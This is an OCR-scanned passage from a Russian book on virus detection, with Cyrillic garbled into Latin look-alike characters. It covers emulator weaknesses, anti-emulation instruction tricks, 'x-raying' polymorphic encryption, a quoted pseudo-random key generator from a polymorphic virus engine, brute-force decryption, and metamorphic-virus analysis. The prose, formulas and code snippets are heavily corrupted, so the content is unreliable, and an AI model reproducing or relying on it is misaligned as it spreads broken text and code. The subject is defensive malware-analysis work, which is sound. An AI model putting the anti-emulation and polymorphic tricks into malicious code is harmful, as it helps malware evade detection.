HHCTpyKUHeH «S A C L »  (koa  0D 6h ), cBe^eHHa o KOTopoft to  noHBJiHKrrca, 
to  riponaaaioT H3 otJiHUHajibHOH flOKyMeirrauHH Intel, HecMOTpa Ha to  hto 
caMa OHa npeKpacHO pacnosHaeTca h BbiriojinaeTCH BceMH noKOJieHiWMH 
npoueccopoB. CoBpeMeHHbie BHpycw (HanpHMep, W in 32 .S a Iity ) bkjiio- 
HaiOT B CBOH KO/I «peflKHC» KOMaHZIbl, HaaeHCb TeM CaMbIM COHTb c TO.TKy
AH3acceM6jiHpyiomyK> nozicHcreMy aMyjiHTopoB.

/IpyroH npoojieMoft /ui3acceM6jiepoB HBJweTCH He3HaHHe «anpnopHO- 
ro KOHTeKCTa», to ecTb ycJioBHii BbinojiHeHHH aHaJiH3iipyeMOH nporpaM
Mbi. OflHa h ra ace nocjieaoBaTejibHocTb 6a0TOB MoaceT OMTb /tuaacce.MO- 
JinpoBaHa n0-pa3H0My b 33bhchmocth ot peacima pafSoTH npoueccopa. 
HanpiiMep, nporpaMMa, 3anymeHHaa b cpe^e MS-DOS, MoaceT CHanajia 
pa6oTaTb b 16-&htobom peajibHOM peacHMe, a hotom nepeKmoHHTbca 
b 32-6htobhh 3amnmeHHbiH. B nepBOM cjiynae n0CJieA0BaTe^bH0CTb 
caHTOB «FFh 04 58h» 6yaeT npoHirrepnpeTHpoBaHa KaK napa KOManj 
«INC/POP»:

FF 04 inc [si]
58 pop ax

A  b o  BTopoM  c jiyn a e  /iH3acceM 6^ep / to jm en  paccM aTpHBaTb ee  KaK 

efliiHCTBeHHyio KOMan/iy « I N C »  c o  «Cjioa<:HbiM» M eroaoM  aapecauHH:

FF 04 58 inc [eax+ebx*2]

BropaH rpynna mcto/iob npoTHBoaei-rcTBiw sm v .ih u h h  nwTaeTcu no- 
MeuiaTb npaBiL’ibHOMV Mfi/K'JiHpoBaiinio BbiiiojineHiui KoMan/i.
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Ilp ea m e  Bcero cjieayeT  oTMeniTb, mto MOflejiiipyromafl nacTb 3MyjiHTO- 
pa He Bcer^a BbinojiH^eT oriepaijHH na/i aamibiMH b tohhom  co o tb 6tc tb h h  

co cneuH(J>iiKamieH. 3 t o  cbh33ho KaK co Bnojine noHATHbiM acejiamieM 

BHpycojioroB  yripocxHTb ce 6e pa6oTy, TaK h c nerio/iHOToft h jih  HeoaHO- 

3HaHH0CTbK> OIIHCaHHH, npHBeaeHHblX B 4>HpMeHHOH /JOKV'MeHTaUHH. TaK, 

HanpHMep, uinpoKO H3BecTeH TpioK BH/ia

db 66n ; npe0MKC nepeHa3Ha«e,Hiifl paswepa onepaHjia
r e tn  ; 9 ra  Kowanaa h s s b h o  p a 6 o ia e r  c paHHUMn b OTetce

3acTaBJiHK)imiH npoqeccop  CHHMaTb c BepuiHHbx CTeKa «H enpaB iu ib iioe» 

KOJiHnecTBO cjiob : flBa cJiOBa BMecTo oflHoro b 16-6htobom  peacHMe h oziho 

c jiobo  BMecTo f lB yx  -  b 32-6htobom . Ecjih Moae.THpyioiuaa qacTb 3mvjih- 

Topa He 3HaeT 3Toro o 6cToaTe/ibCTBa. t o  0Ha He cMoaceT npaBHJibHO Bbi- 

nojiHHTb KOMan/iy. /Ipyron npiiMep -  oMCHb noxoacne iiHCTpyKUHn

8C CO bo v  eax , e s  ; OCwy/isieT crapm ee c jiobo  npmmiKa
8C 00 mov [ e a x ] ,  e s  ; He Tpo raeT  c ia pu ie e  cjio bo  npneMHWo

33H0CHT b  onepaHfl-npneMHHK pa3Hbie aajrubie. « T o h k o c t h »  no/iooHoro 

pofla  M oryT BCTpeTHTbCH .aaace b xopou io  HsyqeHHbix h MacTO Hcnojib3ye- 

Mbix KOMaHaax. HTo6bi h x  y'jecTb, Heo6xojHMO r jiy 6oKoe H3VMeHne apxn- 

TeKTypbi npoueccopa.

Eme o^Ha ripoo.neMa B03HHKaeT y  Mofle.TiipyiomeH no/iCHCTeMbi, Kor^a 
oHa He 3HaeT ycjioBHH BbinojiHemiH KOMaHflbi, b HacraocTH n ina npoijec- 
copa. PaHee (b  rjiaBe, nocBameHHOH MS-DOS-BHpycaM), ynoMHHa.xocb, 
h to  MJia/iniHe MOflejm nponeccopoB Intel co,aepaca;iH «KOHBeHep» -  6y- 
4>epHyK) naMHTb, b KOTopyio 3arpyacajicji 4>parMeHT Bbino.xiweMoro Ko^a. 
3 to  03Ha<iaji0, h to  ecjni yace nocjie 3anojiHemia 6ycJ)epa koa oicaaceTca 
BHflOH3MeHeH, to  npoueccop 6yaeT BbinojiHHTb CTapbie, HeM0flH(j)imHp0- 
BaHHbie KOMan/tbi. Ho rio/io6Haa KOHBeHepHH3amiH HCHe3.na BMecTe c no- 
HBJieHHeM nponeccopa Pentium. llojiynaeTCH, h to  oahh h t o t  ace ynacTOK 
Koaa Ha npoueccopax pa3Hbix noKo/ieHHH MoaceT BunojniaTbCH a6coJiioT- 
ho n 0-pa3H 0M y! HanpiiMep, nocjie Bbinojmemifl c.ie/iyromero (JiparMCHTa 
Ha i80386 b peracTpe EAX ocTaHeTcn 3HaneHne 0, a npoueccop Pentium 
noMecTHT Tyaa e/(MHimy.

MOV Odd, 1
db QBSh : Koa KOMaHflbi. . .

doc oc OOOOOOOOh ; . .  ,* o v  eax, 0

T a io x e  orpoMHoe kojim m cctbo n po6 jieM  M O /ie;m pyiom eH  no/idicTCM bi 

CBH33H0 C HeB03M0aCH0CTbI0 IIO/IHOIieHHOIT) M O ; I €.1HPoBaHHa HMH OKpy-

acaiomeii cpeflhi:
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O onepaim oHHoii CHCTeMbi;

O c jiy * e 6Hbix o6jiacTefl naMHTH;
O BHeUIHIlX ycTpoiicTB.
TaK, HanpHMep, noJiHMopcjfflue BHpycbi nacxo HcnoJib3yioT b cbohx 

pacuiH(})poBbiBaiomHX 4>parMeHTax:
O KOHCTaHTH -  pC3yjIbTaTM pa6oTbI API-(})yHKaHH;
O HeHBHHe nepexoabi b flpyryio TOHKy nporpaMMU nyreM ycTaHOBKH 

co6cTBeHHMX SE H -o6pa6oTHHKOB h renepaiiHH HCKJiKweHHft;
O CTOxacnwecKHH xapaKTep noBeaeiiHH 3HaHeHini, reHepupyeMbix 

TaHMepaMH (KOMaH/ja « I N  A L , 40h» b peajibHOM pexHMe npon;ec- 
copa) h cneTHHKaMH TaKTOB (KOMaHAa «R D T S C » )

HaKOHeu, cto ht  ynoMHHyrb «MHHHpoBaHHe» /iHCKa nporpaMMaMH, k o - 

Topue coaepacaT 6ecK0HeMHue u h k jih  rana:

c ii
lo o p c :  jmp lo o p c

3 m v;ih top , ao6pocoBecTHO MoaejmpyiomHH pa6oTy Bcex KOMaH/i, aoJi- 
aceH «noBHCHyTb» BMecTe c TaKOil nporpaMMOH. BnponeM, a6c0JH0TH0 

•«3aKOHonoc.iyiuHbix» BMyjiHTopoB Ha CBeTe HeMHoro, h b aaHHOM cJiynae 
3t o  -  6jiaro.

7.45.4. ^Diyduua*- mpaccupoexu u aMyjinu,uu
HeMHHyeMo aojraceH 6bin> Hcc.neaoBaH Bonpoc: Koraa cjieayeT npeicpa- 

m an. TpaccHpoBKy h jih  SMyjiHiiHio n0a03pHTejibH0H nporpaMMbi. Ycjio - 
BHH 3aBepmeHHH TpaCCHpOBKH H 3M)'JIHU,HH HecKOJibKO:

O  B VKa3aHHOH TOHKe nporpaMMhi o 6HapyaceHa HCKOMan CHraaTypa;

O npeBbimeHo npeaejibHoe ko jihhecTBo TpaccnpyeMbix h jih  3MyjiH- 
pyeMux KOMaHa (b  KanecTBe aToro npeaejia uejiecoo6pa3Ho 6paTb 
MaKCHMajibHoe nojie T  H3 Bcex CHraaTypHbix 3annceH, HaxoftH- 
mnxcH b pacnopH/KeHHH aHTHBiipyca);

O npeBbimeHo BpeMH, oTBeaemioe Ha 3mvjihuhk) hjih TpaccHpoBKy 
oaHoii nporpaMMbi (BbinojmeHne 3Toro ycJioBHH n03B0JiHeT 60- 
pOTbCH C 33L[HKJIHBaHHeM aHTHBHpyca);

O  nporpaMMa 3aBepinmia pa6oTy -  jih 60 uiTaTHO, j ih 6o b pe3yjibTaie 
oiuh6kh;

O  BCTpeTHJiHCb ynacTKH Koaa, xapaKTepHbie jxnsi He3aiuii4)p0BaHH0H 
nporpaMMbi (HanpHMep, oopamenMa k onepamioHHoii CHCTeMe ny- 

TeM « IN T  21h» hjih A P I- cJivhku hh ).
BnponeM, nocjiezutee ycjiOBHe Haao npHMeHHTb c 0CT0p0»cH0CTbK>, no- 

cKo.ibKy aBTopu nojiHMop(|)Hbix BiipyeoB MoryT cnemiajibHO BCTaBHTb
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b uhkji pacixiHc^poBKH o6paweHHH k onepauHOHHOH CHCTeMe. C apyroft 
CTOpOHbl, 3aneM «BX0J10CTVi0»' TpaCCHpOBaTb H SMyjmpOBaTb 3aBeflOMO 
He3auiH4>poBaHHyio nporpaMMy? BbiBoa o H6o6xo/ihmocth npeKpame- 
hhh TpaccnpoBKH hjih 3MyjiHiiHH rioao6fibix nporpaMM cjie jyeT  aejiaTb 
Ha OCHOBaHHH MHOrHX cJ)aKTOpOB, B HHCJie KOTOpHX:

O  «nOXOJKeCTb» Ha KOa, C(J>OpMHpOBaHHblil He BpyHHyiO, a KOMI1MJIH- 
TOpOM HJIH «JTiaKOBIUHKOM» (c  3TOH IjeJIbK) MOJKHO /Jo6aBHTb K BH- 
pycHoft 6a3e aaHHbix «cHraaTypbi» ajra Borland Delphi, M S Visual 
C / C + + , U P X , AsPack h t. n.);

O  oTcyTCTBiie hjih npeKpameHHe MoancJttiKauHH co6cTBeHHoro KOiia; 
O CTaTHCTHHeCKHe 3aK0H0MepH0CTH KOfla (cm. HHJKe).

7 . 4 . 6 .  «P eH T T 6 H 0 C K 0 riH fl» nO/IMMOpc|)HblX B lipyCO B

IlpaKTHHeCKH KajK&HH n0aHM0p(|)HbIH BHpyc o 6jiaflaeT «CJla6oCTHMH», 
KOTOpWe MOJKHO HCn0JIb30BaTb flJIH tT O  aeTeKTHpOBaHHH. M.3BeCTHbIH BH- 
pycojior Peter Ferrie Ha3BaJi cooTBeTCTByiomyio chctcmv mctoaob «peHT- 
reHocKonneH> («X -R a y in g » )  BHpycHbix Teji [55],

Han6ojiee o6uiaH yH3BHM0CTb n0JniM0pcf>HK0B c.BjrsaHa c Hcnojib3ye- 
MbiM npHHmmoM uiHcJjpoBaHHH 0CH0BH0r0 Tejia. B 6ojibiHHHCTBe cjiyna- 
eB oho (uiHiJjpoBaHiie) BbinojiHHeTca b cootbctctbhh  c npaBHJioM 

B ' =  B » K ,

rae B  -  cTapoe 3Ha>ieHne ajieMeHTa Koaa ( 6atiTa, cjioBa h j ih  asoHHoro 
CJiOBa), B  -  ero H0B0e, 3auiHcJ)poBaHHoe aHaneHiie; K  -  HeKoe h h c jio , 

nrpaiomee pojib uiHcJjpoBaJibHoro «KJHO'ia»; « • »  -  apHcjaieraHecKaa 
h jih  JiornnecKaH onepamra. BaacHo, h to  a jih onepaumi »  o6a 3aTejibHo 
aoasKHa cym ecTBOBaTb o6paraaa eft onepauHH V * » ,  TaK h t o  pacmiKjjpo- 
BaHHe Bceraa m o jk c t  6biTb Bbino.meno no npaBHJiy

B  =  B '* K .

Hame Bcero b KanecTBe onepaipiH lUHcfipoBaHiifl HcnojibsyeTca «X O R »  
(OHa ace «HCKJHOHaromee H J IH » h «cJioaceHHe no Moayaio 2»)> nocKOJibKy 
oopaTHoft k Heft HBJiaeTCH OHa ace caMa. 3aMeTH0 peace BOTpenaeTca napa 
*A D D / S U B », He roBopa yace o apyrux K0M6HHamiax. Hcnojib3ya  aJM 
Kaacaoft Komra noaHMoptJ)Horo BHpyca pa3Hbie rmaneHUH K. aBTop BH
pyca nojiynaeT HHflHBiiayajibHUM 06pa30M 3aiHn4>poBaHHbift nporpaMM
HbiH Koa, HTO He II03B0JIHeT BbinojiHHTb AJIH Hero CHrHaTypHOrO aeTeKTH- 
poBaHiia. TeM lie Menee y  oiiHcaiiHot'o npiummia uiiKfipoBamiH hmootch 
■«H3bHHbi>>, KOTOpbie aaBHo i i  c ycnexoM HcnojibayioTca BHpycojioraMH.

IIaH6ojiee npocTo aexeKTHpv iotcm iiojiiiMojxjiiibie BHpycbi, KOTOpbie 
HcnoatsyioT b Kanec/ree «KJiioHa» K  c.iyHaHHyio KOHCTaHTy, 0AH0KpaTH0
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reH ep n p yeM y io , HanpHMep, npn iiom ou ih  TaftM epa. E c jih  h cx o a h m h  Koa 

T e jia  BH pyca c o c to h ji  H3 aJieMCHTOB Bu B2 h  B3, t o  n o c jie  nojiH M optJm oro 

UIH<J)pOBaHH5I OHH IipeBpaTHTCH B B\ =  Bt* K, B'2 =  B2*K H B'3 =  B3*K, 
npHHeM a jih  pa3Hbix Komift B H pyca a n i  Ha6opw ajieMeHTOB He 6y a y T  co - 

BnaaaTb. TeM He M eHee ecjrn  Mbi BwnojiHHM  onepaumo pacuiH(f)poBaHHH 

Hafl JIJOOblMH flByMH COCe/lHHMH 3JieMeHTaMH B[ h  j8'+„  TO nOJiyHHM

^  =  B '^B l, =  K) =  Bt-Bm.
JlerKO BHjieTb, hto HToroBoe BwpaaceHHe He 3aBHCHT SoJiee o t «kjiio- 

na» K h, 3Ha'iHT, 6yaeT nocTOHHHbiM ajih jik>6oh KonHH nojiH M optJaioro  

BHpyca. Pa3VMeeTCH, Ha6op 113 HecKOJibKHX nocJieaoBaTeJibHbix 5, mojkho 
h  HyacHO Hcn0Jib30BaTb b  KanecTBe CBoero pofla «peaymipoBaHHOH» ciir- 
HaTVpbl.

H eM H orH M  cjioacH en ocymecTBJiHeTCH /leTefcm poBaHHe nojiHMop<|>Hbix 

BHpycoB, B KOTOpbix « k j i io h »  H3MeHHeTCH n o  3aK0Hy KM = K f P ,  rae P  -  
KOHCTaHTa. B  s to m  cJiynae 3HaneHHH S t =  B' T 5 '+) =  (Bt • K)T(Bj + P )  =  

=  S M  =  2?1+ITBi+2*7>Bce e m e 3 3 b h c h t o t P ,  a nocTOHHHan CHr-

HaTypa Q t =  -  yace HeT.

EcTecTBeHHbiM aJiH BHpyconncaTeaeH hbjihctch ycjioacneHHe 3aKOHa, 
no KOTopoMy H3MeHHeTCH «kjiioh» Kj. Rna stoto ncnojib3yioTCH caMbie 
pa3Hoo6pa3Hbie apncJjMeTHHecKHe h JioranecKHe onepauHH: «A D D », 
«S U B », «XOR»-, «R O L », «R O R », «N E G », «N O T »  h nponne -  b caMbix 
pa3Hbix coneTaHHAx. OaKTHnecKH BHpycomicaTejiH nbrraioTCH TaKHM 06- 
pa30M «coHHHHTb> aaTHHK nceBaocjiyHaHHbix HHceji, KOTopHH o6ecne- 
HHBaJi 6bi paBHOMepHoe pacnpeaeJieHHe 11 HenoBTopneMocTb 3HaMeHHH 
«KJiioHa». Bot, HanpHMep, aaTHHK, Hcn0Jib30BaHHMH b n0aHM0pcJ)H0M 
«aBHa(Ke» U LTIM U TE :

; “IU10X08" aaTMHK nceBAoc/iyMafiHbix queen
Get_Rand:

push cx 
push dx

#ov ax, cs:[rand_seed+bp]
Tvv cx, OQEAQh 
niul cx
xor ax, ODADAh 
ror ax, 1
mov c s :  [ranc_seed+bp], ax
pop dx 
pop cx
ret

Hec.MOTpa Ha BHem Hioio «HaB0p0HeHH0CTb» aaropHTMa, aaTlniK reH e- 

pupyeT Bcero 532 yH HKajibHbix 3HaqeHHH, a ito to m  u h k ji noBTopneTCH.
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3 t o  03HaHaeT, HanpHMep, mo 3HaHeHHa 5 ,  =  Bt ~ Bi+S32 MoacHo HcnoJib- 

30BaTb b KanecTBe He 3aBHcameii o t  «m noH a» CHrHaTypw. KpoMe Toro, 

MoacHo npocTo HcnoJib30BaTb 532 pasjmHHbie cnrnaTypbi jinx BHpycoB 

Ha 0CH0Be 3Toro «flBHacKa». OreBH/iHO, aBTop ULTIM UTE h ero m hoto- 

HHCJieHHbie «e#HHOMbHIIJieHHHKH» He 3H3K0MbI C Te3HCOM 3HaMCHHTOrO

JI. KHyra [17]:

. . .C n y ia u H b ie  nucsia  ne/ib3fi Bb ipaS arb iB arb  c  n oM otub io  cnyvafiH O  

B b iS p a H H o ro  a/iropM TM a. Hyxna KaKaa-Hti6yffb  reopw?...

T o t  ace KHyTTeopeTimecKM  Hcc.ne/iOBaji «jiHHeiiHbiH Konrpy.aHTHMH 

MeToa» reHepauHH nceBfloc^yMaHHbix TOce.n -  caMbiii npocTOH H3 «x o -  

pOUIHX» H OZtHOBpeMCHHO CaMMH «X 0p 0IUHH» H3 npOCTblX. 3T0T M0TO/I 

0CH0BaH Ha (f>opM yjie 

Ki+1 = (A  x Ki + C)mod M,

h npa npaBHJibHo Bbi6paHHbix Ko34x|)HUHeHTax A, C  h M  oh  reHepupyeT 

He MeHee M  pa3Jm>iHMx MHceji, pacnpe/ie.rrennbix paBHOMepHO Ha HHTep- 

Ba/ie 1]. 06bW H o b Kanecrae M iicnojib3yioT 28, 2 16 h jih  232.

3Haa «iipaBHiibHyio»- ciirHaTypy S =  {5„  S2,S 3}, BHpycojior MoaceT Bbi- 
HHc.TOTb hjih noao3pHTe;ibHOH nporpaMMbi 3HaHCHV5H fC, =  S ^ B '.  B cjiy- 
>iae ecJiH Biipyc 6mji 3ainn4)poBaH « 6erymnM kjuomom», nojiyieHHbiM 
npn noMomH «jTHHeiiHoro KOHrpysHTHoro MCTO/ia*. 3HaneHiia K i 6yayr 
npe^cTaBJiaTb co6oii nocjie/iOBaTejibHOCTb, b kotopoh  Kaac/ibift s.tcmcht 
riojiyiieH H3 npeflbiaymero no 0/iH03Hai£H0My npaBHJiy. B nporaBHOM cjiy- 
nae ohh onaacyTca npocTo hhcjiobjum «MycopoM». MoacHo jih  KaK-HH6yab 
OTAHHHTb «nceBaocji}rHaflHbie qncJia» o t  «M ycopa»? .ZJjia s to to  npii/jexca 
peuiHTb ciicTeMy cpaBHeHHii:

(<4 x K l + C ) mod M  =  K 2 

• (A x K , + C ) mod M  = K a 

(/lxA's + C )m odM  = K /t

BbnHTaa a p y r  H3 ;{pyra  flBe nocJie/iHiie c t p o k h , n o jiyn iM  cpaBHeHHe

A x (K t -  K2)  mod M -  (K 3 -  KJ,

KOTopoe npn cjjHKCupoBaHHOM M  JierKO pemaeTca nofl6opoM hjih npn 
noMomn « mo h h (fjimnpoBahnoi'° aJiropHTMa EfSKJiH;ia» (ero  MoacHo 6e3 
n p o6 jieM  HaiiTH b ynennHKax no reopHH hhccji hjih b cTaTbax, nocBa- 
meHHbix MCTO/iy uiH(|)poBaHHH R SA ). /lajiee nojiyieHHoe snaMeifiie A 
no;icTaBJiaeTca b .TioSoe cpaBiieHiie cucTeMbi, hto no3Bo/iaeT no.TiyniiTb 
C. 3na« A. C  ii M, mokho pac.cmn'aTb cKojib yroflHo zuniHHyio nocjie^o-
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BaTejibiiocTb Kt h npoBepHTb, He coBnaaaioT jih Bee B{ = B 'TKt c cootbct- 
CTByiOimiMH 3JieMeHT3MH S, «IipaBHJIbHOH» CHTHaTypbl.

Hy h, HaKOHeu, b pyicaBe BHpycojiora Bceraa npHcyrcTByeT «K03bip- 
hoh Ty3» b BHae MeTOfla «rpy6oft cnjibi» («brute forces). /laBaHTe eme 
pa3 BHHMaTeTIbHO IIOCMOTpHM Ha paCIUHĈ pOBLUHKH, CreHepHpOBaHHHe 
BHpycoM Bandersnatch (hx jracTHHni Taicace npHBeaeHM b pa3flejie, n o - 

cBHiueHHOM noAHMop4>HHM BHpycaM ajw M S-DOS). TpyflHo He o6pa- 
THTb BHHMaHHfl, HTO, HeCMOTpfl Ha pa3H006pa3He OpraHH3aUHH 3THX pac- 
IUIKjjpOBIIIHKOB, C06cTBeHH0 npHHIJHn IUH(J>pOBaHHH-paCIl[H<|)pOBaHHfl 
BHpycHoro Tejia KpaiiHe npiiMHTHBeH. B stom mojkho jioriojiHMTejibHo 
J^OCTOBepHTbCH, eCJIIl paCKOflHpOBaTb, AH3aCCeM6.mpOBaTb H H3VHHTb 
Tejio BHpyca. BapnanTOB Bcero naTb: no6aHTHoe cjioaceHHe c «kjiiohom», 
BMHHTaHHe, HHKJIHHeCKHH CflBHr BnpaBO-BJICBO H OHepaUHfl 4HCKJIIO- 
naiomee OTCHHTaeM ot KOHua «nojio3pHTeJibHOH» nporpaMMbi
934 6aiiTa (TaKOBa jjJiHHa BHpyca), npn6aBHM 53 (TaKOBa MaKCHMaabnaa 
flJIHHa paCUIH(f)pOBmHKa) H nOJIVHHM 4>aHJIOByK) n03HHHK) 3aiUH(j)pO- 
BaHHoro Tejia. A  aajibiue nociynHM oneHb npocTo, noonepeflHO nbrra- 
HCb npHMeHHTb pa3.1HHHbie MeTO/Ibl paCIIIH<f>pOBKH CO BCeB03M0>KHbIMH 
KJIK)HaMH:

for (key=0;key<256;key++)
{

for (i=0; KVirLen; i++) Virus[i]+=key 

for (i=0;i<VirLerr, ivv) Virus[i]-=key 

/ *  H Tar. iia jie e  ease 4 weToaa.

(

PaHO HJIH n03AH0 OflHH H3 «KJIlOHeH» nOflOHfleT K 43aMOHHOH CKBaaai- 
He»!

K coacajieHmo, MHoroKparaoe LUHcfipoBaHne Tejia Biipyca c Hcn0Jib30- 
BaHiieM pa3JiiiHHbix a,iropiiTMOB h KJHoneii npeiWTCTByer npiiMeHCHHio 
MeTOflOB «peHTreHOCKOnHpOBaHHH». BnpOHCM, nOJIHMOp<|)HbIX BHpycoB, 
npnMeHHiomux stot npHeM, He TaK vjk h MHoro.

7 . 4 . 7 .  M e T a M o p O H u e  B u p y c b i  h  m x  A e T e t c m p o B a H M e

PaHee b rjiaBe, nocBHineHHon nojiH.vop<f>HbiM BHpycaM /urn MS-DOS, 
y>Ke oujih paccMOTpeHbi npuHHHiiH, jie»:aiuHe b ochobc pa6oTbi MeTa- 
MOpcJ)HbIX BHpycoB. OaKTHHeCKH «MeTaMOp(J}H3M» nOHBHJICfl, KOI7I3 yaa- 
Jiocb coBMecTHTb h npHMeHHTb He TOJibKO k  paciimc^poBimiKy, a KO BCCM V 
BHpycHOMy KOfly «KJiacc.HHecKHe» noJiHMopc^nbie TexHOJionni:

/ *  UUKfl no 3HaM6HHSM UlKNa » /

/* PaciiJHitipoBaTb */
/« CpasHKTb c CMrHarypoi! */
/« 3aaM$pOB3Tb CH0B3 »/
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O  3aMeHa KOMaHfl H 6 jI0K0B HX 4>VHKLU10HaJIbHbIMH SKBHBaJieHTaMH

(HanpHMep, «M O V  EAX, 0* Ha <<PUSH O/POP AX » hjih «XOR  
EAX, EAX*.);

O  cJiynaiiHasi nepecTaHOBKa KaK OTflejibHbix KOMaHa, TaK h  u e j iu x  

6 jio k o b  ( «n e p M }T a u H H » ) ;

O  «pa36aB JieH H e» K ofla  BH pyca «M y c o p o M » (KOMaH/iaMH h  rpynnaM H  

KOMaHa, He b j ih h io iu h m h  Ha aJ irop iiTM ).

Tatoice CoBpeMeHHbie MeTaMop4>Hbie BHpycbi H cn o jib 3y ioT  h  HHbie T ex- 

n o jio r iiH  ycJio>KHeHiLH flereKTHpoBaHHJi:

O  «cnJ iaH C H H r» (n ep eM eu iH B a m ie  K oaa  B H pyca c k o a o m  3apaaceHHOH 

n porp aM M bi);

O  EPO -  paiiMemeHHe nepBoii KOMaHJibi BHpyca b cJiynaHHOH no3H- 
UHH BHyTpH 3apa>KeHH0H nporpaM M bi h  t .  n.

Bee 3T0 npHBOflHT K TOMV, HTO HH B K3KOH MOMeHT BpeMeHH HH Ha £HC- 

Ke, h h  b naMHTH He OKasbiBaeTea cjjparMeirra BHpyca, coxpaHHiomerocH 
nocToaHHbiM o t  KonnH k  k o iih h  h  cnocooHoro HrpaTb pOJIb CHrHaTy- 

pu. ITpHMepaMH «MeTaMop(J)HKOB» h b jih io tch  Ply.3360, VCG.Strelka, 
Win32.Evol, Win32.Zperm, Win32.Zmist, W in32.Bistro, Win32. 
Metaphor h  npo'rae. Bcero h x  o k o jio  flByx-Tpex a c c h tk o b , h o  k p ob h  bh- 

pycoJioraM o h h  nopTH T HeMajio [65],
ManicTpaJibnoe HanpaBJieHHe 6opb6hi c MeTaMopc]>HKaMH ocHOBaHO 

Ha cpaBHeHHH AB yx ajiropHTMOB:

O  BbinojiHHiomerocH n0fl03pnTejibH0H nporpaMMoii;
O  ^ajiropHTMHHecKoro o6pa3ua»>, xapaKTepHoro Jinx KOHKpeTHoro 

BHpyca.
3 t o t  «aJiropHTMHHecKHH o6pa3eu» m ojkho cHHTaTb CBoero poaa «cnr- 

HaTypoii» MeTaMop(J>Horo BHpyca. TeopeniHecKH KoppeKrao cpaBHHTb 
SBa ajiropHTMa Ha 3KBHBa:ieiiTHOCTb m ojkho e/iHHCTBCHUbiM c iioco6om : 

creHepHpoBaTb BceB03M0>KHbie BapHaHTbi Hcxoaiibix iiamibix h npoB e- 

pHTb, Bcer^a j ih  coBna^aioT pe3yjibTaTbi pa6on>i «  no/io3p are ji b ho ro »  h 

«o6pa3uoBoro» ajiropHTMOB. Pa3VMeercH, Ha npaKTHKe TaKOH no/jxoa 
nepea.TOsyeM, nosTOMy b peajibHOCTH n cn o jib sy roT ca  BcnnecKHe «ynpo- 
meHHH».

Y b h .  aaace «yn p o m e im b ie » MeToaiiKH fleTeKTiipoBaHHH MeTaMop(J)Hbix 

BiipyeoB oneHb pecypcoeM Kii: Tpe6yioT 6ojn>mnx 06beM0B onepaTHBHoii 

naMHTH h ;io/iro pa6oT3K)T. B o t  noneMV nonbiTKa HafiTH b iio/io.'spMTejib- 

hoh  nporpaMMe MeTaMoprfiHbiii B iipyc BbinojiHHeTCH TOJibKO b cjiynae, 

ec.'lll npo'IHMH MeTOflaMII («CHniaTypHbIM », «3!3pUCTHH«'KHM>> H T. II.) 

aoKa3aHo, h to  3Ta nporpaMMa ne 3apa>Keiia BiipycaMH iip y ra x  th iiob , ne 

cKOMiionoBana npn noMomn pacnpocTpaHetiHbix cucTeM nporpaMMiipo-
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BaHHH (rana Visual C/C++, Borland Delphi, Borland C/C++ Builder h 
t. n.), He ynaKOBaHa o/ihhm 113 pacnpocTpaHeHHUX yriaKOBiUHKOB (rnria 
Aspack, UPX  h  npoHHx) h  Boo6me «He noxo»ca» Ha «HopMaJibHyro».

7 .4 .7 .1 . S m a r t  *6 b td e jie H u n  u  c 6 o p a  x a p a x m e p u c m u K *■

Ueitb 3Toro 3Tana: nojiynnTb npeflCTaB^eHHe BHpycHoro KOfla b BHfle 

«rpa(£>a ynpaBJieHna» (control graph ), y3.aaMH KOToporo HBJisaoTCfi o t- 
ae.ibHbie KOMaHflhi h (fmiKUMOHa.ubHbie ojiokh, a pe6paMH -  nepexo^bi h 

BbI30BbI nOflnporpaMM. npH 3T0M aKTHBHO HCriO.XbSyiOTCH AH3aCCeM6jiep 

h -  ecjm c|)parMeHTbi KOfla «riepeMeuiaiibi» -  sMyjWTop nporpaMMHoro 

Ko^a. HanpHMep, bot TaK MoaceT BbiMHfleTb rpa<J> ynpaBJieHHH &nh ofl- 
Horo H3 3K3eMnjinpoB rrepMVTHpoBaHHoro (  «nepeMemaHHoro») pacuiH(J)- 
poBmHKa BHpyca OneHalf.4455:

Phc. 7.39 ❖  Tpacf) ynpaB/ieHMfl 
paciunc}>poBbiBaioinero c)>parMeHTa Bupyca Onehalf

O^HaKO A a jib H C H iiie e  n crio/ ib a oB aH H e «H 3 J iH iiiH e  no;ipof>Horo» rpa(|>a 

c o n p n x e H O  c o  3H a>ipne;ibH biM H  c .t o j k h o c t h m h , n o a T o w y  >KejiaTe;tbH O  m h - 

H H M H 3H poB aTb rpa(J>: H 36 aB H T bca  ox « M y c o p a » ,  yM eH b iiiH T b  K o ;iH 'ie c T B o  

V3Ji o b , ynpocTHTb Tono/iormo h t . n. /{.mi 3Toro npn Men si jotch caMbie pa3- 
Hbie no/jxoAbi.
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Tpynna Haii6o/iee <npoflBHHyn>ix» mctoahk cBH3aHa c nepexpaHCJiH- 
HHeft nporpaM M H  Ha hckhh «  npoMejfcyrolfhmh> H3biK BbicoKoro ypoBHfl 
(IL  -  interm ediate language), ncnojib3yioiuHH Majioe ko-TOhcctbo ko- 
MaH/i. HaH6ojiee yAooen »3biK, orracaHHWH b pa6oTe «Mcnojib3QBaHHe 
H0pMajIH3aiIHH KO/ia fl,JW 6opbOH C Ca.\lQMO£H(f)HmTpyiOmHMHCfl BpeflO- 
HOCHblMH npOrpaMMaMH» HTajIbHHCKHX aBTopoB H u h h a o  BpyHH, JIopeH- 
uo MapTHHbOJiii h M anna MoHra [35]. B cTan>e paccMaTpHBaerca, KaK 
Ha 3Tane nepeTpaHCjramin h nanbHeiiuieH o6pa6oTKH jmcTinira ynpo- 
maroTCH apnc])MeTHTiecKHe h jiomqecKHe BbipaacemiH, yaajwioTCH « 6ec- 
cMbicJieHHbie» ( t o  ecTb He B03AencTByiomne Ha HToroBbiH pe.’iVJibxaT) 
KOMaHabi h nponee. HToroBoe npeacTaBJieHHe ajiropHTMa OKaabiBaeTca 
b 3HaHHTejibHoii CTeneHH HaoaBJieHo o t «M ycopa» h npHBejjeHo k eziHHO- 
o6pa3HQMy, oneHb npocTOMy BH/iy.

pop eax 
lea edi, [ebp], 
dec ebx

r10=[r1t]
rii=r11+4

f06=r12

tmp=r08 
r08=rOS-1 
NF=r08@[31:31] 
ZF=[r08=0?1:03 
Cf=(?tmp@[31:31 J)

Phc. 7 .40  ❖  nepeTpaHC/ifluwn M auiUHHoro Kofla 
B npOMexyTOMHblCl A3blK

CymecTByiOT h MeHee TpyaoeMKne mctoahkh ynpom eH iw  rpa(|>a 

ynpaBJieHiia [5 9 ]. O o u h h o  ohh  upeaycMaxpHBaiOT flHsacceMOJwpoBaHHe 

